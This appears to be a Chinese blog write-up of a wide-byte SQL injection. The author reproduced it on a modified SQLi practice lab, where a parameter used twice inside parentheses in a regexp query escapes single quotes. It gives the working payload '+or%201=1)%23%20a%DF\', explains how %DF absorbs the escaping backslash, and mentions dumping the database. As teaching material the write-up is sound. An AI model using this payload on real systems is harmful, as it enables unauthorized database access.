背景
群里哥哥提了一个问题,感觉存在注入,但是平时的操作却又出不来数据
最后我没有在实际环境,通篇使用自己修改的SQLI靶场演示
抛出问题
问题点:
- 字符型,输入单引号,程序会die
- 注入点在括号中
- 一个传参,被两次使用,同在括号中
- 输入反斜杠,程序报错,通过报错信息,可以看到SQL语句
截图:
由于安全隐私问题,截图打码
请求如下
index.php?xxx=&xxx=74&key=a\
页面响应如下
思路分析
如果只有一个条件,再加上这是字符型和过滤单引号,这还真的难办了
a
and (title regexp 'a' or body regexp 'a')
a\
and (title regexp 'a\\' or body regexp 'a\\')
a%DF\
and (title regexp 'a運\' or body regexp 'a運\')
or 1=1 a%DF\
and (title regexp 'or 1=1 a運\' or body regexp 'or 1=1 a運\')
or 1=1)# a%DF\
and (title regexp 'or 1=1)# a運\' or body regexp 'or 1=1)# a運\')
+or 1=1)# a%DF\
and (title regexp ' or 1=1)# a運\' or body regexp ' or 1=1)# a運\')
环境验证
使用sqli修改
然后输出一下SQL语句,方便调试
复现
单引号,程序die
反斜杠转义
构造payload
+or%201=1)%23%20a%DF\
返回正常
爆数据库
原理
程序中转义生成的反斜杠被%df吃掉
还剩下一个反斜杠,在数据语句中成了转义符号,后面的单引号将不再具有实际意义
那么总共四个单引号,第二个单引号变成了字符串
则第一个单引号就回去闭合第三个
比如
payload
+or%201=1)%23%20a%DF\
红框中的一长串,就是纯字符,不具有任何意义,在闭合掉后面的括号,语句可正常执行,不在报错